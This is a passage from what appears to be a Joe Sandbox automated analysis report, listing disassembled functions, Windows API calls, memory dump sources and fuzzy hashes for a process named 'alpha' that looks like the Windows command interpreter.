                                                                                                                                                                                                                                  • GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00000004,?,?,00000000,?,?,?,00D25134,-00000001), ref: 00D31048
                                                                                                                                                                                                                                  • SetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0(?,00000000,?,?,?,00000004,?,?,00000000,?,?,?,00D25134,-00000001), ref: 00D31064
                                                                                                                                                                                                                                  • RemoveDirectoryW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000000,?,?,?,00000004,?,?,00000000,?,?,?,00D25134,-00000001), ref: 00D31073
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: AttributesDirectoryFileRemove$ErrorFullLastNamePath
                                                                                                                                                                                                                                  • String ID: :$\
                                                                                                                                                                                                                                  • API String ID: 3961617410-1166558509
                                                                                                                                                                                                                                  • Opcode ID: e4e97fadad9fc476c0871b89968a457b56d67fb39b29e610f0cc2ceab127d88b
                                                                                                                                                                                                                                  • Instruction ID: 3ebabfd4162898d75761eec4d44f882e8842ced61e77b1a7fd35963065ff119d
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: e4e97fadad9fc476c0871b89968a457b56d67fb39b29e610f0cc2ceab127d88b
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 5C119435910735EF8B205B2CBC48A7E7778EF557657080258E812D22D8DB70CD8591B5
                                                                                                                                                                                                                                  Function 00D2161D Relevance: 15.4, APIs: 10, Instructions: 419COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D21665
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D21689
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D216AD
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D216D1
                                                                                                                                                                                                                                    • Part of subcall function 00D1E3F0: memset.MSVCRT ref: 00D1E455
                                                                                                                                                                                                                                  • ??_V@YAXPAX@Z.MSVCRT(00000000,-00000001,?,?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 00D217CF
                                                                                                                                                                                                                                  • ??_V@YAXPAX@Z.MSVCRT(?,-00000001,?,?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 00D217E9
                                                                                                                                                                                                                                  • ??_V@YAXPAX@Z.MSVCRT(?,-00000001,?,?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 00D21801
                                                                                                                                                                                                                                  • ??_V@YAXPAX@Z.MSVCRT(?,-00000001,?,?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 00D21813
                                                                                                                                                                                                                                    • Part of subcall function 00D2260E: GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(00000000,?,?,00D21775,-00000001,-00000001,-00000001,-00000001), ref: 00D22650
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: memset$BufferConsoleInfoScreen
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 1034426908-0
                                                                                                                                                                                                                                  • Opcode ID: 084d902097136053f2791de508353c593eea000d8c40b0e73cf184d4f397b73c
                                                                                                                                                                                                                                  • Instruction ID: 55c18eb79501dfccdfc54af94c569707299137dcde94f47f4fcc778c17e2f1c9
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 084d902097136053f2791de508353c593eea000d8c40b0e73cf184d4f397b73c
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 98F16375A042299BDB249F25EC85BAAB7B5FF64308F1441A9E849D7241DB30DE80CFB0
                                                                                                                                                                                                                                  Function 00D345F9 Relevance: 15.2, APIs: 10, Instructions: 150fileCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00000000,00000000,00000001,?,00000000,00000001,00D39E02,?,?,00D39E02), ref: 00D34618
                                                                                                                                                                                                                                  • AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(00D58E04,?,00D39E02), ref: 00D34637
                                                                                                                                                                                                                                  • ReadFile.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00D4A7F0,00D39E02,?,00000000,?,00D39E02), ref: 00D34646
                                                                                                                                                                                                                                  • ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(00D58E04,?,00D39E02), ref: 00D34653
                                                                                                                                                                                                                                  • memcmp.MSVCRT(00D4A7F0,00D134F8,00000003), ref: 00D34693
                                                                                                                                                                                                                                  • MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0(?,00000000,00D39E02,00000000,?,00D39E02,?,00D39E02), ref: 00D34720
                                                                                                                                                                                                                                  • SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(?,00D39E02,00000000,00000000,?,00D39E02), ref: 00D34742
                                                                                                                                                                                                                                  • AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(00D58E04,?,00D39E02), ref: 00D3474F
                                                                                                                                                                                                                                  • ReadFile.API-MS-WIN-CORE-FILE-L1-1-0(?,00D4A7F1,00000001,?,00000000,?,00D39E02), ref: 00D34764
                                                                                                                                                                                                                                  • ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(00D58E04,?,00D39E02), ref: 00D34771
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: FileLockShared$AcquirePointerReadRelease$ByteCharMultiWidememcmp
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 2002953238-0
                                                                                                                                                                                                                                  • Opcode ID: 25d95a74239e168849e1ebd1992c86ada266df054976fdbea2eb3a2fbec94a26
                                                                                                                                                                                                                                  • Instruction ID: 894c20e1393ec9ec70edb7f70102959edc4cc1535fdcbcb3dbf49efb94eacb81
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 25d95a74239e168849e1ebd1992c86ada266df054976fdbea2eb3a2fbec94a26
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 1D51D271A00314AFDB218F68DC46BB9BBB9EB42311F184159F951DB290D7B59D40CBB1
                                                                                                                                                                                                                                  Function 00D1C897 Relevance: 15.1, APIs: 10, Instructions: 119fileCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0(?,00000001,00D4A7F0,00000000,?,00000200), ref: 00D1C818
                                                                                                                                                                                                                                  • wcschr.MSVCRT ref: 00D1C882
                                                                                                                                                                                                                                  • _get_osfhandle.MSVCRT ref: 00D1C8BA
                                                                                                                                                                                                                                  • SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000), ref: 00D1C8C4
                                                                                                                                                                                                                                  • _get_osfhandle.MSVCRT ref: 00D1C8DB
                                                                                                                                                                                                                                  • GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(00000000), ref: 00D1C8ED
                                                                                                                                                                                                                                  • SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00000000,00000000,00000001), ref: 00D1C90D
                                                                                                                                                                                                                                  • AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(00D58E04), ref: 00D1C91E
                                                                                                                                                                                                                                  • ReadFile.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00D4A7F0,00000200,00000000,00000000), ref: 00D1C934
                                                                                                                                                                                                                                  • ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(00D58E04), ref: 00D1C941
                                                                                                                                                                                                                                  • _get_osfhandle.MSVCRT ref: 00D1CAC4
                                                                                                                                                                                                                                  • SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000), ref: 00D1CACE
                                                                                                                                                                                                                                  • memcmp.MSVCRT(00D4A7F0,00D134F8,00000003), ref: 00D2D16E
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: File$Pointer_get_osfhandle$LockShared$AcquireByteCharMultiReadReleaseTypeWidememcmpwcschr
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 1383533039-0
                                                                                                                                                                                                                                  • Opcode ID: 8a0094466f8c881d7683824c895cb6c8b7e3fac89504fa24284dd2b6e4acc8eb
                                                                                                                                                                                                                                  • Instruction ID: 0e9fedd4e70de603d4389b9c5cba03b1ae7e061845be429503695a79a70112f9
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 8a0094466f8c881d7683824c895cb6c8b7e3fac89504fa24284dd2b6e4acc8eb
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: FD4104709503249BEB318B18AC897E93676AF54306F581199F909D32C0CBB58DD1CF75
                                                                                                                                                                                                                                  Function 00D20444 Relevance: 15.1, APIs: 5, Strings: 5, Instructions: 97COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: _wcsicmp
                                                                                                                                                                                                                                  • String ID: CMDEXTVERSION$DEFINED$ERRORLEVEL$EXIST$NOT
                                                                                                                                                                                                                                  • API String ID: 2081463915-1668778490
                                                                                                                                                                                                                                  • Opcode ID: a05f623bda6c7229e2280b245918a84b77a71dbc9a0eaa228619da1635dc16e9
                                                                                                                                                                                                                                  • Instruction ID: 468abe6c5e84989fd16ca250d53ba71348e74f54ddfa4664454dab883ef3d824
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: a05f623bda6c7229e2280b245918a84b77a71dbc9a0eaa228619da1635dc16e9
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 0E21FE712043166EE7382B74BC1677A6AD8DF51369F28441EF486C15C2EEB5CC808736
                                                                                                                                                                                                                                  Function 00D19EF2 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 278COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D19F3A
                                                                                                                                                                                                                                    • Part of subcall function 00D1E3F0: memset.MSVCRT ref: 00D1E455
                                                                                                                                                                                                                                  • _get_osfhandle.MSVCRT ref: 00D1A02D
                                                                                                                                                                                                                                  • _get_osfhandle.MSVCRT ref: 00D1A03F
                                                                                                                                                                                                                                  • ??_V@YAXPAX@Z.MSVCRT(?,-00000105,00000001,?,00000001), ref: 00D1A0E8
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: _get_osfhandlememset
                                                                                                                                                                                                                                  • String ID: DPATH
                                                                                                                                                                                                                                  • API String ID: 3784859044-2010427443
                                                                                                                                                                                                                                  • Opcode ID: 29eeda0412ee7c7b1d57c654ed4718c4dfe975c33ada8b14a1de56012c9a7f42
                                                                                                                                                                                                                                  • Instruction ID: 2df2083feee538285e2a5d1bbff2cff8ac8ba0e00b8337608185a1409cf50962
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 29eeda0412ee7c7b1d57c654ed4718c4dfe975c33ada8b14a1de56012c9a7f42
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 54A11531601211BBCB24AF78E8559BAB7B5EF88324F288619F45693290DF30EC81CB71
                                                                                                                                                                                                                                  Function 00D34953 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 260timeCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • _get_osfhandle.MSVCRT ref: 00D34A7B
                                                                                                                                                                                                                                  • GetLocalTime.API-MS-WIN-CORE-SYSINFO-L1-1-0(?,00000002,?), ref: 00D34B98
                                                                                                                                                                                                                                  • SetLocalTime.API-MS-WIN-CORE-SYSINFO-L1-1-0(?,?), ref: 00D34BC5
                                                                                                                                                                                                                                  • SetLocalTime.API-MS-WIN-CORE-SYSINFO-L1-1-0(?), ref: 00D34BD2
                                                                                                                                                                                                                                  • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00D34BDC
                                                                                                                                                                                                                                  • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000), ref: 00D34C30
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: LocalTime$ErrorLast$_get_osfhandle
                                                                                                                                                                                                                                  • String ID: %s$/-.
                                                                                                                                                                                                                                  • API String ID: 1033501010-531045382
                                                                                                                                                                                                                                  • Opcode ID: 5a199bda501d39bf016c3ea2121c3ad84099ce357ec8b8544c74ab055cfbd542
                                                                                                                                                                                                                                  • Instruction ID: 77a4d450e1c13964db16bafc6ea9248a407b423c23441f866351206bf97e6df0
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 5a199bda501d39bf016c3ea2121c3ad84099ce357ec8b8544c74ab055cfbd542
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 49813632A4021597DB249B78DC56BFB73A5EF84700F18416AE802D72D0EE79EE85CB34
                                                                                                                                                                                                                                  Function 00D36650 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 214registryCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,00000000,02000000,?), ref: 00D36745
                                                                                                                                                                                                                                  • RegCreateKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,00000000,00000000,00000000,02000000,00000000,?,?), ref: 00D367CF
                                                                                                                                                                                                                                  • RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?), ref: 00D367F6
                                                                                                                                                                                                                                  • RegSetValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,00D120B8,00000000,00000002,?,00000000), ref: 00D36867
                                                                                                                                                                                                                                  • RegDeleteValueW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,00000000), ref: 00D368A3
                                                                                                                                                                                                                                  • RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?), ref: 00D368C5
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: CloseValue$CreateDeleteOpen
                                                                                                                                                                                                                                  • String ID: %s=%s$\Shell\Open\Command
                                                                                                                                                                                                                                  • API String ID: 4081037667-3301834661
                                                                                                                                                                                                                                  • Opcode ID: 5ba8bf6b439b20f0bc80cc15c1147093f9db7de38557256a0751df499cd16c0e
                                                                                                                                                                                                                                  • Instruction ID: 7f9eed72e7bb86cdc976c44478361da2ead25ed25fadd108711ef0d5313d1d5d
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 5ba8bf6b439b20f0bc80cc15c1147093f9db7de38557256a0751df499cd16c0e
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 8061FB75940225BBDF349B28DC49AFA77B8EF54700F1881A9EC49D7290EE71CE84C6B1
                                                                                                                                                                                                                                  Function 00D364DB Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 128registryCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • RegCreateKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,00000000,00000000,00000000,00000002,00000000,?,00000000,00D3CD00,00000018,?,?,00D2BFD6), ref: 00D3650F
                                                                                                                                                                                                                                  • RegSetValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(00000000,00000000,00000000,00000001,?,00000000,?,?,00000000,00000000,00000000,00000002,00000000,?,00000000,00D3CD00), ref: 00D36545
                                                                                                                                                                                                                                  • RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(00000000,?,?,00000000,00000000,00000000,00000002,00000000,?,00000000,00D3CD00,00000018,?,?,00D2BFD6), ref: 00D36553
                                                                                                                                                                                                                                  • RegDeleteKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,00000000,00000000,00D3CD00,00000018,?,?,00D2BFD6), ref: 00D36590
                                                                                                                                                                                                                                  • RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,00000000,02000000,?,?,?,00000000,00000000,00D3CD00,00000018,?,?,00D2BFD6), ref: 00D365AD
                                                                                                                                                                                                                                  • RegDeleteValueW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,00D120B8,?,00000000,02000000,?,?,?,00000000,00000000,00D3CD00,00000018,?,?,00D2BFD6), ref: 00D365D4
                                                                                                                                                                                                                                  • RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,00000000,02000000,?,?,?,00000000,00000000,00D3CD00,00000018,?,?,00D2BFD6), ref: 00D365EF
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: CloseDeleteValue$CreateOpen
                                                                                                                                                                                                                                  • String ID: %s=%s
                                                                                                                                                                                                                                  • API String ID: 1019019434-1087296587
                                                                                                                                                                                                                                  • Opcode ID: 7a5873b927b85d4ae9414bb6e34afe6069b84d6a59b3e506763286b59f28bfa1
                                                                                                                                                                                                                                  • Instruction ID: 580c65aa098a78b792d36b8a61175adf8bafe25b0ea8e7d675d886ed23911fb8
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 7a5873b927b85d4ae9414bb6e34afe6069b84d6a59b3e506763286b59f28bfa1
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 3041C572D04325BFDB319B58DC0AEAF7A78EB89F51F044129FC05B7260DA268D01CAB5
                                                                                                                                                                                                                                  Function 00D17150 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 119COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: _wcsnicmpswscanf
                                                                                                                                                                                                                                  • String ID: :EOF
                                                                                                                                                                                                                                  • API String ID: 1534968528-551370653
                                                                                                                                                                                                                                  • Opcode ID: 1fcc9ab57e79485690499b997e4ae0d5239afecf1d7f0baa652630eb55beb624
                                                                                                                                                                                                                                  • Instruction ID: ca16816cf8adc375a67059086beeedaa02db095336984ef6f1745f7a926226a6
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 1fcc9ab57e79485690499b997e4ae0d5239afecf1d7f0baa652630eb55beb624
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 88311135A08360BBC720AF68BC45AEA77B8EF56755F085015F982972A1DE34CCC2C675
                                                                                                                                                                                                                                  Function 00D36035 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 113libraryloaderCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • LoadLibraryExW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(NTDLL.DLL,00000000,00000000,?,00000000,?), ref: 00D36069
                                                                                                                                                                                                                                  • GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(00000000,NtQueryInformationProcess), ref: 00D3607E
                                                                                                                                                                                                                                  • ReadProcessMemory.API-MS-WIN-CORE-MEMORY-L1-1-0(?,?,?,00000480,?), ref: 00D360DC
                                                                                                                                                                                                                                  • ReadProcessMemory.API-MS-WIN-CORE-MEMORY-L1-1-0(?,?,?,00000004,00000000), ref: 00D36128
                                                                                                                                                                                                                                  • ReadProcessMemory.API-MS-WIN-CORE-MEMORY-L1-1-0(?,?,?,00000002,00000000), ref: 00D3614F
                                                                                                                                                                                                                                  • ReadProcessMemory.API-MS-WIN-CORE-MEMORY-L1-1-0(?,00000000,?,00000002,00000000), ref: 00D36186
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
